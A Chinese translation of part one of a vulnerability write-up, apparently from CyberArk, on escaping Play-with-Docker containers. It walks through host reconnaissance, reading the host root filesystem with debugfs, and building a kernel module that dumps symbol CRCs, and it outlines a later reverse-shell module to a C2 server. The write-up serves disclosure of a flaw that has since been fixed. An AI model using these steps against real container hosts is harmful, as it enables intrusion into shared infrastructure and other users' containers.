导言

Play-with-Docker(PWD),即Docker的游乐场网站,专门供初学者迅速上手各种Docker命令。实际上,该网站是建立在许多Docker主机上的,每个主机运行多个供初学者使用的容器,所以,该网站是学习Docker的好去处。借助于PWD,人们可以在Web浏览器中免费体验Alpine Linux虚拟机,学生可以在Web浏览器中构建和运行Docker容器,这样,他们就可以直接体验一把Docker,而不必先忙着安装和配置Docker。

这一独特的服务受到了DEVOPS从业人员的热烈欢迎,每月访问量超过10万次,此外,该网站还提供Docker教程、研讨会和培训等服务。该倡议是由Marcos Nils和Jonathan Leibiusky发起的,并得到了Docker社区的帮助以及Docker的赞助。

下面,我们将尝试实现模拟容器的逃逸,以便在Docker主机上运行代码。

容器逃逸的影响类似于虚拟机逃逸,因为两者都允许访问基础服务器。一方面,在PWD服务器上运行代码将允许攻击者不受限制地访问PWD的基础设施,另一方面,还可以访问所有学生的容器。此为,我们还可以把容器逃逸视为攻击企业基础设施的第一步,因为现在许多企业都在运行面向公众的容器,这可能导致攻击者入侵企业网络。

我们已经将发现的安全漏洞报告给了Docker和PWD的维护人员,并且,他们已经修复了PWD中的相关漏洞。

虚拟机或Linux容器

无论是容器,还是虚拟机(Virtual Machines,VM),都能够将应用程序与运行在同一台计算机上的底层主机和其他应用程序隔离开来。这种隔离不仅对于应用程序的执行来说非常重要,同时,对于安全性来说,也是至关重要的。

Linux容器和VM之间的一个重要区别,主要体现在与Linux内核的关系上面。如图1所示,VM会为每个实例加载一个新内核;每个VM不仅运行所有硬件(虚拟机管理程序)的虚拟副本,还为每个VM实例都运行一个Linux内核的完整副本。

相反,所有容器将共享相同的内核代码。这就是容器如此轻量级和易于操作的原因,同时,这也是Linux容器链中的一个薄弱环节。在这篇文章中,我们将为大家介绍攻击者是如何攻击这一薄弱环节的。

图1:VMS与容器虚拟化层。资料来源:https://www.electronicdesign.com/dev-tools/what-s-difference-between-containers-and-virtual-machines

了解你的敌人

熟悉容器的第一步是绘制其边界图:

[node1] $ uname –a
Linux node1 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 Linux

uname命令能够显示主机的内核版本、体系结构、主机名和构建日期。

[node1] $ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-96-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro
console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

/proc文件系统上的这个cmdline伪文件能够指出内核的引导映像和根UUID。这个UUID通常会被挂载为主机的根硬盘驱动器。接下来,我们要定位该UUID后面的设备:

[node1] $ findfs UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c
/dev/sda1

现在,我们可以尝试将该设备挂载到容器中,如果成功,就可以访问主机的文件系统了:

[node1] $ mkdir /mnt1
[node1] $ mount /dev/sda1 /mnt1
mount: /mnt1: cannot mount /dev/sda1 read-only.

不幸的是,SDA1设备是只读的,因此,我们无法挂载它。只读属性可能是使用PWD AppArmor的配置文件来实现的。

接下来,我们将转储cpuinfo文件,具体命令如下所示:

[node1] $ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 79
model name      : Intel(R) Xeon(R) CPU E5-2673 v4 @ 2.30GHz
stepping        : 1
microcode       : 0xffffffff
cpu MHz         : 2294.670
cache size      : 51200 KB
physical id     : 0
siblings        : 8
core id         : 0
cpu cores       : 4
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 20
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology eagerfpu pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch tpr_shadow vnmi ept vpid fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt
bugs            :
bogomips        : 4589.34
clflush size    : 64
cache_alignment : 64
address sizes   : 44 bits physical, 48 bits virtual
power management:
 
—- snip —-
processor       : 7
vendor_id       : GenuineIntel
cpu family      : 6
model           : 79
model name      : Intel(R) Xeon(R) CPU E5-2673 v4 @ 2.30GHz
......

我们继续来研究容器环境,并查看主机的底层硬件:

Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS 090007  06/02/2017

在进一步研究其他内容之前,还有一件事要做,那就是学会使用debugfs。debugfs是一个交互式的文件系统调试器,可以用于ext2/3/4文件系统。它可以对设备指定的ext文件系统进行读写操作。下面,让我们拿sda1设备来演示一下debugfs的用法:

[node1 $ debugfs /dev/sda1
debugfs 1.44.2 (14-May-2018)
debugfs:

太好了! 我们已经通过sda1设备入侵了的主机的root文件系统。现在,借助于标准的Linux命令,例如cd和ls命令,我们就可以更深入的了解主机的文件系统了:

debugfs: ls
2  (12) .    2  (12) ..    11  (20) lost+found    12  (12) bin
 181  (12) boot    193  (12) dev    282  (12) etc    2028  (12) home
 6847  (20) initrd.img    2030  (12) lib    4214  (16) lib64
 4216  (16) media    4217  (12) mnt    4218  (12) opt    4219  (12) proc
 4220  (12) root    4223  (12) run    4226  (12) sbin    4451  (12) snap
 4452  (12) srv    4453  (12) sys    4454  (12) tmp    4455  (12) usr
 55481  (12) var    3695  (16) vmlinuz    3529  (12) .rnd    2684  (36) -
 17685  (24) initrd.img.old    24035  (3696) vmlinuz.old

这似乎是主机的根目录结构。并且,每个条目之前的数字是inode。例如, root (..)目录对应于inode 2;etc目录对应于inode 282。

获取了这些信息后,我们就可以规划接下来的行动了:

计划A:

我们的主要目标是,在我们所在的容器的主机上运行代码。为此,我们可以尝试加载一个Linux内核模块,该模块通过操控内核来运行我们的代码。

要加载一个新的内核模块,通常需要使用完全相同的内核源代码、内核配置和工具集对其进行编译。这一点无法在PWD内核上实现,所以,我们不得不转向计划B。

计划B:

对于该计划来说,我们将使用已经加载到目标内核上的模块来帮助我们构建自己的模块,并且这些模块可以加载到PWD内核上。

一旦我们确定了目标模块,我们就需要编译和加载第一个“probing”内核模块。这个模块将使用printk在内核记录器上转储必要的信息,以加载第二个反向shell模块。

在目标内核上运行第二个模块将执行必要的代码,以建立从PWD主机到C2服务器的反向shell。

听起来很复杂,对吧?如果您熟悉Linux内核模块的话,这实际上并不复杂,但是如果您愿意,可以跳过技术细节部分,直接观看相应的视频。

第1阶段:获取Play-with-Docker内核模块

在debugfs应用程序的帮助下,我们能够轻松地遍历主机的文件系统。很快,我们发现了一个内核模块,它具有让我们的策略正常运作所需的最低要求:一个使用printk内核函数的模块。

debugfs:  cd /lib/modules
debugfs:  ls
3017  (12) .    2030  (48) ..    262485  (24) 4.4.0-96-generic
 524603  (28) 4.4.0-137-generic    2055675  (3984) 4.4.0-138-generic

这是该设备的/lib/modules目录结构的列表。红色部分表示每个文件的inode。这个目录总共含有3个不同的内核版本,其中我们需要的版本为4.4.0-96-generic。

debugfs:  cd 4.4.0-96-generic/kernel/fs/ceph
debugfs:  ls
1024182  (12) .    774089  (36) ..    1024183  (4048) ceph.ko

接下来,我们将提取ceph.ko[iv]文件,它是ceph软件存储平台的内核加载模块。实际上,该主机上的所有使用printk函数的其他模块也都能满足我们的要求。

debugfs:  dump <1024183> /tmp/ceph.ko

dump debugfs命令实际上是通过它的inode从被调试的文件系统(根文件系统)中将相应的文件提取到容器的local/tmp目录中的。

现在,我们可以将这个文件传到我们的工作站上。

第2阶段:创建“probing”内核模块:

一般而言,使用某个内核源代码编译的模块无法加载到使用另一个源代码编译的内核上面。但是,对于相对简单的模块来说,可以在下面三种情况下将内核模块加载到不同的内核上:

该模块与要使用的内核具有匹配的vermagic。实际上,vermagic就是一个字符串,用于标识编译它的内核的版本。

模块使用的每个函数调用或内核结构(用Linux内核术语来说,就是符号)都能向它试图加载的内核提供一个匹配的CRC。

模块的可重定位起始地址与内核的编程地址是一致的。

我为了获得目标内核上call_usermodehelper()函数的CRC,我们需要使用一个probing模块来完成该任务。

第1步:查找call_usermodehelper函数在目标内核上的CRC地址

Linux内核的符号位于/proc/kallsyms中:

[node1] $ cat /proc/kallsyms | grep call_usermod
ffffffff81096840 T call_usermodehelper_exec
ffffffff810969f0 t call_usermodehelper_exec_async
ffffffff81096b40 t call_usermodehelper_exec_work
ffffffff810970a0 T call_usermodehelper_setup
ffffffff81097140 T call_usermodehelper
ffffffff81d8a390 R __ksymtab_call_usermodehelper
ffffffff81d8a3a0 R __ksymtab_call_usermodehelper_exec
ffffffff81d8a3b0 R __ksymtab_call_usermodehelper_setup
ffffffff81daa0e0 r __kcrctab_call_usermodehelper
ffffffff81daa0e8 r __kcrctab_call_usermodehelper_exec
ffffffff81daa0f0 r __kcrctab_call_usermodehelper_setup
ffffffff81dbabf1 r __kstrtab_call_usermodehelper
ffffffff81dbac05 r __kstrtab_call_usermodehelper_exec
ffffffff81dbac1e r __kstrtab_call_usermodehelper_setup

call_userModeHelper()函数的CRC存储在地址FFFFFF81DAA0E0处,因此,probing模块应该转储该地址中的内容。

下面是第一个模块的代码:

#include <linux/module.h>     /* Needed by all modules */
#include <linux/kernel.h>     /* Needed for KERN_INFO */
#include <linux/init.h>       /* Needed for the macros */
  
MODULE_LICENSE("GPL");
MODULE_AUTHOR("CyberArk Labs");
MODULE_DESCRIPTION("A simple probing LKM!");
MODULE_VERSION("0.3");
  
static int __init startprobing(void)
{
    // these address were copied from the kallsyms of the 4.0.0-96-generic
    // after grepping for kcrctab_<function_name>
    int *crc1 = (int *)0xffffffff81daa0e0;      // address of crc of call_usermodehelper
    int *crc2 = (int *)0xffffffff81dae898;      // address of crc of printk
 
    printk(KERN_EMERG "Loading probing module...\n");
    printk(KERN_EMERG "CRC of call_UserModeHelper = 0x%x\n", *crc1);
    printk(KERN_EMERG "CRC of printk = 0x%x\n", *crc2);
 
    return 0;
}
  
static void __exit startprobing_end(void)
{
    printk(KERN_EMERG "Goodbye!\n");
}
  
module_init(startprobing);
module_exit(startprobing_end);

第2步:准备好Makefile文件

下一步是为该内核模块准备一个Makefile文件:

obj-m = probing.o
all:
make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

然后,执行make命令:

$ make
make -C /lib/modules/4.17.0-rc2/build/ M=/root/cprojects/kernelmod/simplemod modules
make[1]: Entering directory '/root/debian/linux-4.17-rc2'
  CC [M]  /root/cprojects/kernelmod/simplemod/probing.o
  Building modules, stage 2.
  MODPOST 1 modules
read continue

我们可以在编译器生成probing.mod.c文件之后、链接probing模块的代码之前,停止该编译过程。

下面是自动生成的文件:

$ cat probing.mod.c
 
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>
 
MODULE_INFO(vermagic, VERMAGIC_STRING);
MODULE_INFO(name, KBUILD_MODNAME);
 
__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
    .name = KBUILD_MODNAME,
    .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
    .exit = cleanup_module,
#endif
    .arch = MODULE_ARCH_INIT,
};
 
#ifdef RETPOLINE
MODULE_INFO(retpoline, "Y");
#endif
 
static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
    { 0x6cb06770, __VMLINUX_SYMBOL_STR(module_layout) },
    { 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },
    { 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};
 
static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";
 
MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145");

未完待续,我们先介绍到这里,大家先消化消化,明天将为大家奉上本文的后半部分。敬请期待!

本文翻译自:https://www.cyberark.com/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host/如若转载,请注明原文地址: http://www.4hou.com/technology/15822.html
源链接

Hacking more

...